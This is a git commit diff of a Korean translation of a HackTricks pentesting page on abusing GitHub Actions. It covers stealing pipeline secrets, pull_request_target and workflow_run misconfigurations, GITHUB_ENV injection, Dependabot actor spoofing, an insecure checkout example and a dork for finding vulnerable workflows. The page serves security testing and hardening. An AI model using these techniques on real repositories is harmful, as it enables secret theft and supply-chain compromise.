Translated ['src/pentesting-cloud/azure-security/az-basic-information/az

This commit is contained in:
Translator
2025-09-29 23:27:38 +00:00
parent 2e805ac33b
commit f70096de4b
2 changed files with 362 additions and 110 deletions
@@ -1,58 +1,58 @@
# Github Actions 악용
# Abusing Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## 도구
다음 도구들은 Github Action workflows를 찾고 취약한 워크플로우까지 찾아내는 데 유용합니다:
다음 도구들은 Github Action 워크플로우를 찾고 취약한 워크플로우를 발견하는 데 유용합니다:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 체크리스트는 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)도 확인하세요
## 기본 정보
이 페이지에서는 다음을 다룹니다:
- 공격자가 Github Action에 접근했을 때 발생할 수 있는 **모든 영향 요약**
- 액션에 **접근 권한을 얻는 다양한 방법**:
- 액션을 생성할 수 있는 **권한** 보유
- 공격자가 Github Action에 접근하는 데 성공했을 때의 **모든 영향 요약**
- 액션에 **액세스하는 다양한 방법**:
- 액션을 생성할 **권한(permissions)** 보유
- **pull request** 관련 트리거 악용
- 기타 **외부 접근** 기법 악용
- 이미 침해된 repo에서 **Pivoting**
- 마지막으로, 내부에서 액션을 악용하기 위한 **post-exploitation** 기법에 관한 섹션(앞서 언급된 영향 유발)
- **기타 외부 접근** 기법 악용
- 이미 손상된 repo에서 **피벗**
- 마지막으로, 내부에서 액션을 악용하기 위한 **사후 탐지·악용 기법(post-exploitation techniques)** 섹션
## 영향 요약
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
[**Github Actions 기본 정보 확인**](../basic-github-information.md#github-actions)에서 도입부를 참고하세요.
레포지토리 내에서 **GitHub Actions**에서 임의의 코드 실행할 수 있다면, 다음을 수행할 수 있습니다:
저장소 내에서 **GitHub Actions에서 임의의 코드 실행**이 가능하다면 다음을 할 수 있습니다:
- 파이프라인에 마운트된 **secrets**를 탈취하고 파이프라인 권한을 용해 AWS, GCP 등의 외부 플랫폼에 무단 접근할 수 있습니다.
- 배포(deployments) 및 기타 아티팩트(artifacts)를 손상시킬 수 있습니다.
- 파이프라인이 자산을 배포하거나 저장하는 경우 최종 제품을 변경하여 공급망 공격을 유발할 수 있습니다.
- 커스텀 워커(custom workers)에서 코드를 실행하여 컴퓨팅 자원을 악용하고 다른 시스템으로 pivot할 수 있습니다.
- `GITHUB_TOKEN`에 연된 권한에 따라 레포지토리 코드를 덮어쓸 수 있습니다.
- 파이프라인에 마운트된 **secrets를 훔치고**, 파이프라인 권한을 용해 AWS GCP 같은 외부 플랫폼에 무단 접근할 수 있습니다.
- 배포와 기타 **artifacts**를 손상시킬 수 있습니다.
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 supply chain attack을 유발할 수 있습니다.
- 커스텀 워커에서 코드를 실행 컴퓨팅 자원을 악용하고 다른 시스템으로 pivot할 수 있습니다.
- `GITHUB_TOKEN`에 연된 권한에 따라 저장소 코드를 덮어쓸 수 있습니다.
## GITHUB_TOKEN
이 "**secret**"( `${{ secrets.GITHUB_TOKEN }}``${{ github.token }}`에서 나오는) 관리자가 이 옵션을 활성화했을 때 부여됩니다:
이 "**secret**" ( `${{ secrets.GITHUB_TOKEN }}``${{ github.token }}`에서 제공되는) 관리자가 이 옵션을 활성화했을 때 주어집니다:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
이 토큰은 **Github Application**이 사용하는 것과 동일므로 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
이 토큰은 **Github Application이 사용 것과 동일한 토큰**이므로 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github [**flow**](https://github.com/github/roadmap/issues/74)를 출시하여 GitHub 내에서 **cross-repository** 접근을 허용함으로써, 한 repo가 `GITHUB_TOKEN`을 사용해 다른 내부 repo에 접근할 수 있도록 할 예정입니다.
가능한 이 토큰의 **권한** 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
이 토큰의 가능한 **permissions** 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
토큰은 **작업이 완료된 후 만료**됩니다.\
토큰은 다음과 같은 형태니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
참고: 이 토큰은 **작업이 완료된 후 만료됩니다**.\
러한 토큰은 다음과 같은 형태를 가집니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
이 토큰으로 할 수 있는 흥미로운 것들:
이 토큰으로 할 수 있는 흥미로운 몇 가지 작업:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> 여러 경우 **github user tokens inside Github Actions envs or in the secrets** 발견할 수 있다는 점에 유의하세요. 이 토큰들은 리포지토리 조직에 대 더 많은 권한을 부여할 수 있습니다.
> 몇몇 경우 **github user tokens inside Github Actions envs or in the secrets** 발견할 수 있습니다. 이 토큰들은 리포지토리 조직에 대 더 많은 권한을 부여할 수 있습니다.
<details>
<summary>Github Action 출력에서 secrets 나열</summary>
<summary>Github Action output에서 secrets 나열</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>secrets를 이용해 reverse shell 얻기</summary>
<summary>secrets를 사용하여 reverse shell 얻기</summary>
```yaml
name: revshell
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
다른 사용자의 리포지토리에서 Github Token에 부여된 권한은 **Github Actions의 로그를 확인**해서 알 수 있습니다:
다른 사용자 저장소에서 Github Token에 부여된 권한Github Actions의 로그를 **확인하여** 확인할 수 있습니다:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## 허용된 실행
> [!NOTE]
> 방법은 Github actions를 탈취하기 위한 가장 쉬운 방법입니다. 이 경우 조직에 **새 리포지토리를 생성할 수 있는 권한(create a new repo in the organization)** 이 있거나 리포지토리에 대한 **쓰기 권한(write privileges over a repository)** 이 있다고 가정합니다.
> 은 Github Actions를 탈취하기 위한 가장 쉬운 방법일 것입니다. 이 경우 **조직에 새 저장소를 생성할 수 있는 권한**, 또는 **저장소에 대한 쓰기 권한**이 있다고 가정합니다.
>
> 이런 상황이라면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)를 확인하세요.
> 이 시나리오에 해당한다면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)를 확인하면 됩니다.
### 리포지토리 생성에서의 실행
### 저장소 생성에서의 실행
조직 구성원이 **새 리포지토리를 생성할 수 있고** 당신이 Github actions를 실행할 수 있다면, 새 리포지토리를 만들어 조직 수준에 설정된 **secrets**를 탈취할 수 있습니다.
조직 구성원이 **create new repos** 수 있고 당신이 Github Actions를 실행할 수 있다면, **create a new repo and steal the secrets set at organization level** 할 수 있습니다.
### 새 브랜치에서의 실행
이미 Github Action이 구성된 리포지토리에서 **새 브랜치를 생성할 수 있다면**, 해당 Action을 **수정**하고, 콘텐츠를 **업로드**한 뒤 새 브랜치에서 그 액션을 **실행**할 수 있습니다. 이렇게 하면 리포지토리 및 조직 수준의 **secrets**를 **exfiltrate**할 수 있습니다(단, 이름을 알고 있어야 합니다).
이미 Github Action이 구성된 저장소에서 **create a new branch in a repository that already contains a Github Action** 수 있다면, 이를 **modify** 하고, 콘텐츠를 **upload** 한 다음 **execute that action from the new branch** 할 수 있습니다. 이렇게 하면 **exfiltrate repository and organization level secrets** (하지만 그들이 어떻게 불리는지 알아야 합니다).
> [!WARNING]
> workflow YAML 내부에만 구현된 제한(예: `on: push: branches: [main]`, job conditionals, 또는 수동 게이트)은 협자가 편집할 수 있습니다. 외부에서 강제하지 않으면(branch protections, protected environments, and protected tags), 기여자는 워크플로를 자신의 브랜치에서 실행되도록 재지정하고 마운트된 secrets/permissions를 악용할 수 있습니다.
> workflow YAML 내부에만 구현된 제한사항(예: `on: push: branches: [main]`, job conditionals, 또는 수동 게이트)은 협자가 편집할 수 있습니다. 외부 강제(브랜치 보호, 보호된 환경, 보호된 태그)가 없다면, 기여자는 워크플로우의 실행 대상을 자신의 브랜치로 변경하여 마운트된 시크릿/권한을 악용할 수 있습니다.
수정된 액션**수동으로** 실행 가능하게 하거나, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 눈에 띄게 할지에 따라) 실행하게 만들 수 있습니다:
수정된 action**수동으로**, **PR이 생성될 때** 또는 **코드가 푸시될 때** 실행되도록 만들 수 있습니다(얼마나 눈에 띄게 할지는 선택에 따라 다름):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -183,46 +183,46 @@ branches:
## 포크된 실행
> [!NOTE]
> 공격자가 다른 저장소의 **Github Action을 실행할 수 있게 하는** 다양한 트리거가 존재합니다. 이러한 트리거 가능한 액션이 잘못 구성되어 있으면 공격자가 이를 악용할 수 있습니다.
> 공격자가 다른 repository의 **Github Action을 실행**할 수 있게 하는 다양한 트리거가 있습니다. 이러한 트리거 잘못 구성되어 있으면 공격자가 이를 악용할 수 있습니다.
### `pull_request`
워크플로 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로를 실행합니다. 다만 몇 가지 예외가 있습니다: 기본적으로 **처음으로** **기여하는 경우**, 일부 **메인테이너**가 워크플로의 **실행**을 **승인**해야 합니다:
워크플로 트리거 **`pull_request`**는 일부 예외를 제외하고 풀 리퀘스트가 들어올 때마다 워크플로를 실행합니다: 기본적으로 **처음으로** 협업하는 경우에는 일부 **maintainer**가 워크플로의 **실행(run)** **승인(approve)** 해야 합니다:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> 기본 제한이 **첫 기여자**에 해당하므로, 유효한 버그/오타를 **수정하는 PR을 제출한 뒤** 새로 얻은 **`pull_request` 권한을 악용하기 위해 다른 PR을 보낼 수 있습니다**.
> 기본 제한이 **첫 기여자(first-time contributors)** 적용되므로, 유효한 버그/오타 수정으로 기여한 뒤 새로 얻은 `pull_request` 권한을 악용하기 위해 **다른 PR을 보낼 수 있습니다**.
>
> **이것을 테스트해보았지만 작동하지 않았습니다**: ~~프로젝트에 기여했던 사람의 이름으로 계정을 생성한 뒤 그 계정을 삭제한 것처럼 보이게 하는 옵션이 있습니다.~~
> **저는 이걸 테스트지만 작동하지 않았습니다**: ~~다른 옵션으로 프로젝트에 기여했던 사람의 이름으로 계정을 만들고 그 사람의 계정을 삭제하는 방법이 있습니다.~~
또한, 기본적으로 대상 저장소에 대한 **쓰기 권한 부여를 차단**하고 **시크릿 접근을 차단**합니다. 자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 확인할 수 있습니다:
또한 기본적으로 대상 repository에 대한 **write permissions****secrets 접근**을 **차단**한다고 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급하고 있습니다:
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
공격자는 Github Action의 정의를 수정해 임의의 작업을 실행하거나 임의의 액션을 추가할 수 있습니다. 다만 앞서 언급한 제한 때문에 시크릿을 훔치거나 저장소를 덮어쓸 수는 없습니다.
공격자는 Github Action의 정의를 수정해 임의의 명령을 실행하거나 임의의 액션을 추가할 수 있습니다. 다만 앞서 언급한 제한 때문에 secrets를 훔치거나 repo를 덮어쓸 수는 없습니다.
> [!CAUTION]
> **예 — 공격자가 PR에서 트리거될 github action을 변경하면, origin repo의 것이 아니라 그의 Github Action이 사용됩니다!**
> **네, 공격자가 PR에서 트리거될 github action을 변경하면, 사용되는 것은 원본 repo의 것이 아니라 공격자가 추가한 Github Action니다!**
공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`시크릿이나 쓰기 권한이 없어도 공격자는 예를 들어 **upload malicious artifacts**할 수 있습니다.
공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`secrets나 쓰기 권한이 없더라도 예를 들어 **악성 아티팩트 업로드(upload malicious artifacts)** 같은 동작을 할 수 있습니다.
### **`pull_request_target`**
워크플로 트리거 **`pull_request_target`**는 대상 저장소에 대한 **쓰기 권한**과 **시크릿 접근**을 가지며(별도 승인 없이) 동작합니다.
워크플로 트리거 **`pull_request_target`**는 대상 repository에 대한 **write permission**과 **secrets 접근** 권한을 가지며 (권한을 요청하지 않습니다).
참고로 워크플로 트리거 **`pull_request_target`**는 **기본 컨텍스트에서 실행**되며 PR이 제공하는 컨텍스트에서 실행되지 않습니다(신뢰할 수 없는 코드를 실행하지 않기 위해). `pull_request_target`에 대한 자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\
또한 이 특정 위험한 사용에 관한 자세한 내용은 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 참고하세요.
워크플로 트리거 **`pull_request_target`**는 PR에서 제공되는 컨텍스트가 아니라 **base 컨텍스트**에서 **실행(run in the base context)** 된다는 점에 유의하세요 (신뢰되지 않는 코드를 실행하지 않기 위해). `pull_request_target`에 대한 자세한 내용은 [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)에서 확인하세요.\
또한 이 특정 위험한 사용 사례에 대해서는 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 참고하세요.
실행되는 워크플로가 **base에 정의된 것**이고 **PR의 것이 아닌**이기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수 있지만**, 그렇지 않은 경우가 **몇 가지 있습니다**.
실행되는 워크플로가 **base에 정의된 것**이고 **PR의 것이 아닌**처럼 보여 `pull_request_target` 사용하는 것이 안전해 보일 수 있지만, 안전하지 않은 몇 가지 경우가 있습니다.
그리고 이 트리거는 **시크릿에 접근**할 수 있습니다.
이 경우**secrets에 접근할 수 있습니다**.
### `workflow_run`
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로가 `completed`, `requested` 또는 `in_progress` 상태일 때 워크플로를 실행할 수 있게 합니다.
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 다른 워크플로가 `completed`, `requested` 또는 `in_progress`일 때 워크플로를 실행하도록 허용합니다.
이 예에서는, 별도의 "Run Tests" 워크플로가 완료된 후에 실행되도록 워크플로가 구성되어 있습니다:
이 예에서는 별도의 "Run Tests" 워크플로가 완료된 후에 실행되도록 워크플로가 구성되어 있습니다:
```yaml
on:
workflow_run:
@@ -230,29 +230,39 @@ workflows: [Run Tests]
types:
- completed
```
또한 문서에 따르면: `workflow_run` 이벤트로 시작된 워크플로우는 이전 워크플로우가 그렇지 않았더라도 **secrets write tokens에 접근하고 쓸 수 있다**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
또한 문서에 따르면: `workflow_run` 이벤트로 시작된 workflow는 **이전 workflow가 그렇지 않더라도 secrets에 접근하고 토큰을 쓸 수 있습니다.**
이러한 유형의 워크플로우는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 **trigger**할 수 있는 **workflow**에 **의존**하는 경우 공격받을 수 있다. 취약한 예제 몇 가지는 [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째는 `workflow_run`로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 방식이다: `${{ github.event.pull_request.head.sha }}`\
두 번째는 **untrusted** 코드에서 생성된 **artifact**를 **`workflow_run`** 워크플로우로 **전달**하고, 그 artifact의 내용을 RCE에 취약하게 사용하는 경우이다.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
이러한 종류의 workflow는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 트리거할 수 있는 **workflow**에 **의존**할 경우 공격당할 수 있습니다. 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). 첫 번째 예는 **`workflow_run`**으로 트리거된 workflow가 공격자의 코드를 다운로드하는 경우입니다: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
두 번째 예는 **신뢰할 수 없는** 코드에서 **artifact**를 **`workflow_run`** workflow로 전달하고, 그 artifact의 내용을 RCE에 취약한 방식으로 사용하는 경우입니다.
### `workflow_call`
TODO
TODO: pull_request에서 실행될 때 사용/다운로드되는 코드가 원본(origin)의 것인지 포크된 PR의 것인지 확인
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: pull_request에서 실행될 때 사용/다운로드되는 코드가 원본(repo)에서 온 것인지 포크된 PR의 것인지 확인
## 포크된 실행 악용
## Abusing Forked Execution
## 포크된 실행 남용
외부 공격자가 github 워크플로우를 실행시키는 모든 방법을 언급했다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 악용될 수 있는지 살펴보자:
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
외부 공격자가 github workflow를 실행시키는 모든 방법을 언급했습니다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 남용될 수 있는지 살펴보겠습니다.
### 신뢰되지 않은 checkout 실행
### Untrusted checkout execution
### 신뢰할 수 없는 checkout 실행
`pull_request`의 경우, 워크플로우는 **PR의 컨텍스트**에서 실행되므로 (**악성 PR의 코드가 실행된다**), 하지만 누군가 먼저 **승인해야 하며** [limitations](#pull_request)가 적용된 상태로 실행된다.
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request).
**`pull_request`**의 경우 workflow는 **PR의 컨텍스트**에서 실행되므로 (**악성 PR의 코드가 실행됩니다**). 다만 누군가 **먼저 승인해야** 하며 일부 [제한사항](#pull_request)과 함께 실행됩니다.
`pull_request_target` 또는 `workflow_run`을 사용하는 워크플로우가 `pull_request_target` 또는 `pull_request`로 트리거될 수 있는 워크플로우에 의존하는 경우 원본 리포지토의 코드가 실행되므로 **공격자는 실행되는 코드를 제어할 수 없다**.
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
**`pull_request_target`** 또는 **`workflow_run`**을 사용하고, 그 workflow가 **`pull_request_target`** 또는 **`pull_request`**로 트리거될 수 있는 다른 workflow에 의존하는 경우 원본 리포지토의 코드가 실행되므로 **공격자가 실행 코드를 제어할 수 없습니다**.
> [!CAUTION]
> 그러나 **action**이 **명시적인 PR checkout**을 가지고 있어 PR로부터 코드를 **가져오는 경우**(base가 아니라), 공격자가 제어하는 코드를 사용하게 된다. 예를 들어 (PR 코드를 다운로드하는 12번째 줄을 확인):
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> 하지만 **action**이 명시적으로 PR에서 checkout하도록 설정되어 있어 **PR의 코드를 가져오는 경우**(base가 아닌), 공격자가 제어하는 코드가 사용됩니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인하세요):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -282,32 +292,42 @@ message: |
Thank you!
</code></pre>
빌드 스크립트와 참조된 **packages는 PR 작성자가 제어**하기 때문에, 잠재적으로 **untrusted code가 `npm install` 또는 `npm build` 중에 실행된다**.
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
빌드 스크립트와 참조된 **packages**는 PR 작성자가 제어하므로, 잠재적으로 **신뢰할 수 없는 코드가 `npm install` 또는 `npm build` 중에 실행될 수 있습니다**.
> [!WARNING]
> 취약한 action을 찾기 위한 github dork는: `event.pull_request pull_request_target extension:yml` 이다. 그러나 action이 안전하지 않게 구성되어 있어도 jobs를 안전하게 구성하는 다양한 방법(예: PR을 생성하는 actor에 대한 조건문 사용)이 있다.
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> 경고: 취약한 action을 검색하기 위한 github dork는 `event.pull_request pull_request_target extension:yml` 입니다. 그러나 action이 안전하지 않게 구성되어 있더라도 작업을 안전하게 구성하는 다양한 방법이 있습니다(예: PR을 생성한 actor가 누구인지에 대한 조건문 사용).
### 컨텍스트 스크립트 인젝션 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
일부 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 PR을 생성하는 **사용자**에 의해 제어된다는 점에 유의하라. 만약 github action이 그 **데이터를 사용해 어떤 작업을 실행한다면**, 이는 **임의 코드 실행**로 이어질 수 있다:
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
PR을 만드는 **사용자**가 값들을 **제어하는** 특정 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)가 있다는 점에 유의하세요. 만약 github action이 그 **데이터를 사용해 어떤 작업이라도 실행한다면**, 임의 코드 실행으로 이어질 수 있습니다:
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
문서에 따르면: 워크플로우 잡에서 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 기록하면 **이후 단계들에서 해당 환경 변수를 사용할 수 있게 된다**.
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
문서에 따르면: 환경 변수를 정의하거나 업데이트하고 이를 **`GITHUB_ENV`** 환경 파일에 기록하면 해당 workflow job의 이후 단계에서 **환경 변수를 사용할 수 있게** 됩니다.
공격자가 이 **env** 변수에 **어떤 값이라도 주입할 수 있다면**, LD_PRELOAD나 NODE_OPTIONS 같은 이후 단계에서 코드를 실행할 수 있는 환경 변수를 주입할 수 있다.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
공격자가 이 **env** 변수에 **임의의 값을 주입**할 수 있다면, 이후 단계에서 코드 실행을 유발할 수 있는 **LD_PRELOAD**나 **NODE_OPTIONS** 같은 환경 변수를 주입할 수 있습니다.
예를 들어 ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact를 신뢰하여 그 내용을 **`GITHUB_ENV`** env 변수에 저장하는 워크플로우를 상상해보자. 공격자는 이를 악용하기 위해 다음과 같은 것을 업로드할 수 있다:
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
예를 들어 ([**이것**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이것**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact의 내용을 **`GITHUB_ENV`** 환경 변수에 저장하는 것을 신뢰하는 workflow를 상상해보세요. 공격자는 이를 손상시키기 위해 다음과 같은 내용을 업로드할 수 있습니다:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot and other trusted bots
### Dependabot 및 기타 신뢰된 봇
As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
[**이 블로그 게시물**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)에 따르면, 여러 조직이 `dependabot[bot]`의 모든 PR을 병합하는 Github Action을 가지고 있습니다. 예:
```yaml
on: pull_request_target
jobs:
@@ -319,12 +339,12 @@ steps:
```
Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
- 피해자 리포지토리를 Fork한다
- 자신의 복사본에 악성 페이로드를 추가한다
- 포크에서 Dependabot을 활성화하고 오래된 dependency를 추가한다. Dependabot은 의존성을 수정하는 브랜치를 생성하는데, 그 브랜치에 악성 코드가 들어있다.
- 해당 브랜치에서 피해자 리포지토리로 Pull Request를 연다(이 PR은 사용자가 생성하므로 아직 아무 일도 일어나지 않는다)
- 그런 다음, 공격자는 포크에서 Dependabot이 열었던 초기 PR로 돌아가서 `@dependabot recreate`를 실행한다
- 그러면 Dependabot은 해당 브랜치에서 몇 가지 동작을 수행하여 피해자 리포지토리의 PR을 수정하고, 이로 인해 최신 이벤트를 발생시킨 actor가 `dependabot[bot]`이 되어 워크플로가 실행된다.
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Moving on, what if instead of merging the Github Action would have a command injection like in:
```yaml
@@ -338,20 +358,20 @@ steps:
```
Well, the original blogpost proposes two options to abuse this behavior being the second one:
- 피해자 repository를 fork하고 오래된 dependency로 Dependabot을 활성화한다.
- 악성 shell injection 코드를 담은 새 branch를 만든다.
- repo의 default branch를 브랜치로 변경한다.
-branch로부터 피해자 repository에 PR을 생성한다.
- 그의 fork에서 Dependabot이 연 PR에 `@dependabot merge`를 실행한다.
- Dependabot은 그의 변경사항을 포크한 리포지토리의 default branch에 merge하여 피해자 리포지토리의 PR을 업데이트한다. 결과적으로 최신 이벤트를 트리거한 actor가 `dependabot[bot]`이 되며, 악성 branch 이름 사용된다.
- 피해자 repository를 fork하고, 오래된 dependency로 Dependabot을 활성화한다.
- 악성 shell injeciton 코드를 포함한 새 브랜치를 만든다.
- repo의 default branch를 해당 브랜치로 변경한다.
-브랜치로 피해자 repository에 PR을 만든다.
- 피해자의 포크에서 Dependabot이 연 PR에 `@dependabot merge`를 실행한다.
- Dependabot는 포크된 저장소의 default branch에 변경사항을 병합하며, 피해자 repository의 PR을 업데이트하고 이제 워크플로우를 트리거한 최신 이벤트 actor가 `dependabot[bot]`이 되며 악성 브랜치 이름 사용하게 된다.
### 취약한 서드파티 Github Actions
### Vulnerable Third Party Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), Github Action은 서로 다른 workflows 및 심지어 다른 repositories의 artifacts에 접근할 수 있게 한다.
